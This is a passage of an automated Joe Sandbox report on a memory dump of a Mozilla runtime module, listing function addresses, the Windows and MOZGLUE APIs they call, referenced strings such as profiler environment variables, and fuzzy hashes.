Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: ll
API String ID: 4279176481-422694604
Opcode ID: 9df5228b65a0eff3ddc44577ae6d394cb1355ee277eae887838cd46532bb6328
Instruction ID: acc39dd28e06e19247f79fe10d4894abeff6178b15d653ae20e437cdaa2bc3a2
Opcode Fuzzy Hash: 9df5228b65a0eff3ddc44577ae6d394cb1355ee277eae887838cd46532bb6328
Instruction Fuzzy Hash: 6611BF793016048FC729CF0CD599926FBF8FB59308355885DE98A8B754C731F800CB99

Function 6C69E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C69E577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69E584
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C69E8A6

Strings

MOZ_PROFILER_STARTUP, xrefs: 6C69E5A1, 6C69E5CC, 6C69E5FF, 6C69E62A
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C69E826, 6C69E850
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C69E777
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C69E722, 6C69E750, 6C69E7A2
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C69E655

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 1eca9647559c815ef8c16a1fd9d354fdd95aa9a5c77d5d2c3967643dee620f54
Instruction ID: 8c3d27a3f7cef48c4ed5c2157a3c3fed9863bba23175123dc71420e2c82529b7
Opcode Fuzzy Hash: 1eca9647559c815ef8c16a1fd9d354fdd95aa9a5c77d5d2c3967643dee620f54
Instruction Fuzzy Hash: 4111AD31A04258DFCB009F16C888B6ABBB4FFC9329F050A19E84587651D774B805CFDE

Function 6C6A0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A0CD5

Part of subcall function 6C68F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C68F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A0D40
free.MOZGLUE ref: 6C6A0DCB

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

free.MOZGLUE ref: 6C6A0DDD
free.MOZGLUE ref: 6C6A0DF2

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: fce425f7b408e5fb4db8014b62f0115985f6ab6ab260e4d0d9e1334d07c0fba8
Instruction ID: 0744bd5b5f7c2c126cec454ca987b28fa44c9ec751ffde8c5b25c6819782081d
Opcode Fuzzy Hash: fce425f7b408e5fb4db8014b62f0115985f6ab6ab260e4d0d9e1334d07c0fba8
Instruction Fuzzy Hash: 154139719087809BD320DF29C08079AFBE5BFC9714F118A2EE9D987750D770A846CB9B

Function 6C690800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C690838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C69084C
EnterCriticalSection.KERNEL32(?), ref: 6C6908AF
LeaveCriticalSection.KERNEL32(?), ref: 6C6908BD
LeaveCriticalSection.KERNEL32(6C6DE7DC), ref: 6C6908D5

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: 1b213696630c9b1e99bd03d16a7ce02d416ba33bdca5681bf5c8060b1001ba7a
Instruction ID: 0c2d6e11bd8e05ad90fa341da736fe2338653d600f94c2358b24497550ac1e29
Opcode Fuzzy Hash: 1b213696630c9b1e99bd03d16a7ce02d416ba33bdca5681bf5c8060b1001ba7a
Instruction Fuzzy Hash: E121B031B0524A9BEF048F66D884BAEB379AF89708F500529D909A7A40DB31A804CBDC

Function 6C6ACCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACDA4

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

Part of subcall function 6C6AD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C6ACDBA,00100000,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD158
Part of subcall function 6C6AD130: InitializeConditionVariable.KERNEL32(00000098,?,6C6ACDBA,00100000,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACDC4

Part of subcall function 6C6A7480: ReleaseSRWLockExclusive.KERNEL32(?,6C6B15FC,?,?,?,?,6C6B15FC,?), ref: 6C6A74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACECC

Part of subcall function 6C66CA10: mozalloc_abort.MOZGLUE(?), ref: 6C66CAA2

Part of subcall function 6C69CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C6ACEEA,?,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000), ref: 6C69CB57
Part of subcall function 6C69CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C69CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C6ACEEA,?,?), ref: 6C69CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD058

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 17b39ecca14ffcae6143c17bfe05fa816367e042abf1e00a0f871d2f8f566c65
Instruction ID: 7f1d13926e85e4132c53c4f335a1232c33e1e35778ffcb01c90bc5c865becd05
Opcode Fuzzy Hash: 17b39ecca14ffcae6143c17bfe05fa816367e042abf1e00a0f871d2f8f566c65
Instruction Fuzzy Hash: 2FD16F71A04B469FD708CF28C480B99F7E1BF89308F01866DD95987712EB31B9A6CBC5

Function 6C661720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C6617B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C6618EE
free.MOZGLUE(?), ref: 6C661911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C66194C

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 4d6977340a6f6fe6efc0984376a74d4ba1fd2b4cbdbf62842cd540a28156e1bd
Instruction ID: 179c7417f028dbd7f031db162d738cad369d2a3ff8023aed4c3d2a6ad5f0b6d2
Opcode Fuzzy Hash: 4d6977340a6f6fe6efc0984376a74d4ba1fd2b4cbdbf62842cd540a28156e1bd
Instruction Fuzzy Hash: 7781D670A112059FCB08CF69D8D49EEBBB1FF89314F04462CE815ABB54D730E854CBA6

Function 6C675C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C675D40
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C675D67
__aulldiv.LIBCMT ref: 6C675DB4
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C675DED

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: fccf99705cd4046480c0da99a08bcdfb038165868c156f85a6ca97cbfd90524e
Instruction ID: d33b4dba655bb99291579b5ea7e7ad6204471695016f9aad492d62ec9b1b7e3c
Opcode Fuzzy Hash: fccf99705cd4046480c0da99a08bcdfb038165868c156f85a6ca97cbfd90524e
Instruction Fuzzy Hash: 89518F71E001698FCF08CF69C994AAEBBF1FB85304F198A5DD811A7B50C7307945CB99

Function 6C65CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C65CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C65CF4E

Strings

0, xrefs: 6C65CF30

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 196597a6bdbc8dad2df6b501d6b72384db2d0378a8bf5e5c92be4be767be814e
Instruction ID: e54310c26906e80553e8d3bb2d46e827d1f78c5d19c18f1187dfef5d907545ba
Opcode Fuzzy Hash: 196597a6bdbc8dad2df6b501d6b72384db2d0378a8bf5e5c92be4be767be814e
Instruction Fuzzy Hash: 9D511475A002568FCB00CF18C890A9AFBB5EF99300F29859DD95A5F351D731ED16CBE0

Function 6C6B77D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B77FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C6B7829

Part of subcall function 6C68CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C6531A7), ref: 6C68CC45
Part of subcall function 6C68CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C6531A7), ref: 6C68CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C6B789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C6B78CF

Part of subcall function 6C654DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C654E5A
Part of subcall function 6C654DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C654E97

Part of subcall function 6C654290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C693EBD,6C693EBD,00000000), ref: 6C6542A9

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: df43c189fb2575bf45509e53df294fa891792ee3766543de59c7504d5b50fbb5
Instruction ID: d3f0341d97344c7fab9b808fa05ab6429bc07e170ace8f1b0d0d35edb21e3181
Opcode Fuzzy Hash: df43c189fb2575bf45509e53df294fa891792ee3766543de59c7504d5b50fbb5
Instruction Fuzzy Hash: DC41AF719047469BD300DF29C48056AFBF4FFCA254F604A2DE4A987680DB70E569CBDA

Function 6C696470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C6982BC,?,?), ref: 6C69649B

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6964A9

Part of subcall function 6C68FA80: GetCurrentThreadId.KERNEL32 ref: 6C68FA8D
Part of subcall function 6C68FA80: AcquireSRWLockExclusive.KERNEL32(6C6DF448), ref: 6C68FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C69653F
free.MOZGLUE(?), ref: 6C69655A

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 84f714f4f15ae930f76b2db4f443e3ba3e75a5f9a40559ef3b81db765fb5b1f9
Instruction ID: 98cb846002616a141ddfcc5cd91472c026677bdcc18c31a34d08c92d525b97ac
Opcode Fuzzy Hash: 84f714f4f15ae930f76b2db4f443e3ba3e75a5f9a40559ef3b81db765fb5b1f9
Instruction Fuzzy Hash: 223161B5A04305AFD740CF15D88469AB7E4FF89314F00482EE85A97751DB34E919CBDA

Function 6C68FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C6AD019,?,?,?,?,?,00000000,?,6C69DA31,00100000,?), ref: 6C68FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C6AD019,?,?,?,?,?,00000000,?,6C69DA31,00100000,?,?), ref: 6C68FFF5
free.MOZGLUE(?,?,?,?,?,6C6AD019,?,?,?,?,?,00000000,?,6C69DA31,00100000,?), ref: 6C69001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C6AD019,?,?,?,?,?,00000000,?,6C69DA31,00100000,?,?), ref: 6C69002A

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 6e5aa073797d7d876b8773fd94e27cf2afcdcd09d44f6c7b0746d2ffe094adce
Instruction ID: ab8644dd52d9a0ae1aaae7a340cb17cfe20e0a68e28e3f1cbf24ed06b9935492
Opcode Fuzzy Hash: 6e5aa073797d7d876b8773fd94e27cf2afcdcd09d44f6c7b0746d2ffe094adce
Instruction Fuzzy Hash: 5021D8B2B002155BC7189E789C944AFB7BAFB853287250738D525D7780EB719D0186EA

Function 6C66B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C66B4F5
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66B502
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66B542
free.MOZGLUE(?), ref: 6C66B578

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: d6fce4e0f5ce2d2612f5934e6f077c7e1e761546c7ba7781ddcddf79526bcbfe
Instruction ID: f8c6926e3cb4d4af112b9870dfa7403b397d49b61d05b120268176a51f4f12c6
Opcode Fuzzy Hash: d6fce4e0f5ce2d2612f5934e6f077c7e1e761546c7ba7781ddcddf79526bcbfe
Instruction Fuzzy Hash: 85110330A04B41C7D321CF2AC8407A5B3B0FFDA319F14970AE84953E02EBB0B5C5879A

Function 6C693DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C65F20E,?), ref: 6C693DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C65F20E,00000000,?), ref: 6C693DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C693E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C693E0E

Part of subcall function 6C68CC00: GetCurrentProcess.KERNEL32(?,?,6C6531A7), ref: 6C68CC0D
Part of subcall function 6C68CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C6531A7), ref: 6C68CC16

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 82a6360a373ecd281ae6919c82bcd1b75556bec14f788fb4d8f0f9eba5c47a7f
Instruction ID: 1eb75ff979cc5475eae7f49dcf4a0ee0aad8e9e8d9996727dab3d755bc266919
Opcode Fuzzy Hash: 82a6360a373ecd281ae6919c82bcd1b75556bec14f788fb4d8f0f9eba5c47a7f
Instruction Fuzzy Hash: 9BF0F8B1A002087BDB00AB55EC81DAB376DEB87628F040021FE0957741D636BE6996FF

Function 6C6A2050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6A205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C6A201B,?,?,?,?,?,?,?,6C6A1F8F,?,?), ref: 6C6A2064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6A208E
free.MOZGLUE(?,?,?,00000000,?,6C6A201B,?,?,?,?,?,?,?,6C6A1F8F,?,?), ref: 6C6A20A3

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 6dd277b58cf9b5c3883181a97c6208a1d114288803089035bfc44cd5977b98ad
Instruction ID: 5e4494a2d2c5870ac6189d322e663b85b734a084fab5b540a58c97cfa2d0de3d
Opcode Fuzzy Hash: 6dd277b58cf9b5c3883181a97c6208a1d114288803089035bfc44cd5977b98ad
Instruction Fuzzy Hash: 1FF090B11006009BC7218F17D88875BB7F9EF8A364F10051AE54A87710CB71A8068B9E

Function 6C6A85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C6A85D3

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C6A8725

Strings

map/set<T> too long, xrefs: 6C6A8720

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: a2a27303650dbd5e9a7fe60878a720a47f4d3f5136fab0440a28ca324daa6040
Instruction ID: 70b27cce337b19c255c6b91cde610e625e735871812691eeb71a8baf6980d39e
Opcode Fuzzy Hash: a2a27303650dbd5e9a7fe60878a720a47f4d3f5136fab0440a28ca324daa6040
Instruction Fuzzy Hash: FA515674A006818FE701CF58C184A59FBF1BF4A318F19C19AD8595BB62C375EC46CF96

Function 6C65BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C65BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C65BE8F

Strings

0, xrefs: 6C65BE5B

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

